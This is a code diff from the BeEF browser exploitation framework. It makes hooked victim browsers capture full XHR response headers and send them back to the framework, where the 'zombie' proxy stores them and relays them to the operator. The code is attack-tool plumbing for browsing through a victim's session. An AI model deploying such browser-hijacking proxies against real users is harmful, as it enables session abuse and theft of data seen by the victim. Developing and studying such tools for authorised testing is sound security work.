diff --git a/core/main/client/net.js b/core/main/client/net.js index 3e88d8e9a..d2963c869 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -69,6 +69,7 @@ beef.net = { this.was_cross_domain = null; // true or false this.was_timedout = null; // the user specified timeout was reached this.duration = null; // how long it took for the request to complete + this.headers = null; // full response headers }, //Queues the command, to be sent back to the framework on the next refresh @@ -299,6 +300,7 @@ beef.net = { complete: function(xhr, textStatus) { response.status_code = xhr.status; response.status_text = textStatus; + response.headers = xhr.getAllResponseHeaders(); callback(response, requestid); } }); diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js index 14b9372b6..2ef093e69 100644 --- a/core/main/client/net/requester.js +++ b/core/main/client/net/requester.js @@ -35,7 +35,8 @@ beef.net.requester = { function(res, requestid) { beef.net.send('/requester', requestid, { response_data:res.response_body, response_status_code: res.status_code, - response_status_text: res.status_text}); + response_status_text: res.status_text, + response_headers: res.headers}); } ); } diff --git a/core/ruby/patches/webrick/httpresponse.rb b/core/ruby/patches/webrick/httpresponse.rb index a3689a598..97cc9c88e 100644 --- a/core/ruby/patches/webrick/httpresponse.rb +++ b/core/ruby/patches/webrick/httpresponse.rb @@ -18,6 +18,13 @@ module WEBrick class HTTPResponse + # + # Add/Update HTTP response headers with those contained in original_headers Hash + # + def override_headers(original_headers) + original_headers.each{ |key, value| @header[key.downcase] = value } + end + # # set caching headers none # diff --git a/extensions/proxy/handlers/zombie/handler.rb b/extensions/proxy/handlers/zombie/handler.rb index 945b70b9a..279d38125 100644 --- a/extensions/proxy/handlers/zombie/handler.rb +++ b/extensions/proxy/handlers/zombie/handler.rb @@ -22,7 +22,7 @@ module Zombie class Handler attr_reader :guard - @response_body = nil + @response = nil H = BeEF::Core::Models::Http # This function will forward requests to the target and @@ -53,19 +53,51 @@ module Zombie # while waiting for the HTTP response to be stored in the db. print_info("[PROXY] Thread started in order to process request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}]") @response_thread = Thread.new do - while !H.first(:id => http.id).has_ran sleep 0.5 end - - @response_body = H.first(:id => http.id).response_data - + @response = H.first(:id => http.id) end @response_thread.join print_info("[PROXY] Response for request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}] correctly processed") - res.body = @response_body + res.body = @response['response_data'] + + # set the original response status code + res.status = @response['response_status_code'] + + headers = @response['response_headers'] + #print_debug("====== original HTTP response headers =======\n#{headers}") + + # The following is needed to forward back some of the original HTTP response headers obtained via XHR calls. + # Original XHR response headers are stored in extension_requester_http table (response_headers column), + # but we are forwarding back only some of them (Server, X-.. - like X-Powered-By -, Content-Type, ... ). + # Some of the original response headers need to be removed, like encoding and cache related: for example + # about encoding, the original response headers says that the content-length is 1000 as the response is gzipped, + # but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way. + headers_hash = Hash.new + if(res.status != -1 && res.status != 0) + headers.each_line do |line| + # stripping the Encoding, Cache and other headers + if line.split(': ')[0] != "Content-Encoding" && + line.split(': ')[0] != "Content-Length" && + line.split(': ')[0] != "Keep-Alive" && + line.split(': ')[0] != "Cache-Control" && + line.split(': ')[0] != "Vary" && + line.split(': ')[0] != "Pragma" && + line.split(': ')[0] != "Connection" && + line.split(': ')[0] != "Expires" && + line.split(': ')[0] != "Accept-Ranges" && + line.split(': ')[0] != "Date" + headers_hash[line.split(': ')[0]] = line.split(': ')[1].gsub!(/[\n]+/,"") + end + end + + # note: override_headers is a (new) method of WebRick::HTTPResponse (the BeEF patch one: core\ruby\patches\webrick\httpresponse.rb) + res.override_headers(headers_hash) + end + res end end end diff --git a/extensions/requester/handler.rb b/extensions/requester/handler.rb index b0c33fce6..c421d1470 100644 --- a/extensions/requester/handler.rb +++ b/extensions/requester/handler.rb @@ -64,11 +64,23 @@ module Requester #print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]") # save the results in the database + http_db.response_headers = @data['results']['response_headers'] http_db.response_status_code = @data['results']['response_status_code'] http_db.response_status_text = @data['results']['response_status_text'] http_db.response_data = @data['results']['response_data'] http_db.response_date = Time.now http_db.has_ran = true + + # temporary hack to prevent MySQL errors when saving images + # see issue http://code.google.com/p/beef/issues/detail?id=368 + if BeEF::Core::Configuration.instance.get("beef.database.default") == "mysql" + if http_db.response_headers.to_s =~ /Content-Type: image/ + print_debug("Found [Content-Type: image] in the http response headers: saving dummy data instead of original raw image data") + http_db.response_data = "IMAGE CONTENT" + end + end + + http_db.save end diff --git a/extensions/requester/models/http.rb b/extensions/requester/models/http.rb index 0e7776333..40798d74d 100644 --- a/extensions/requester/models/http.rb +++ b/extensions/requester/models/http.rb @@ -42,6 +42,9 @@ module Models # The http response code. Human-readable code: success, error, ecc.. property :response_status_text, Text, :lazy => true + # The XHR Http response raw headers + property :response_headers, Text, :lazy => true + # The http response method. GET or POST. property :method, Text, :lazy => false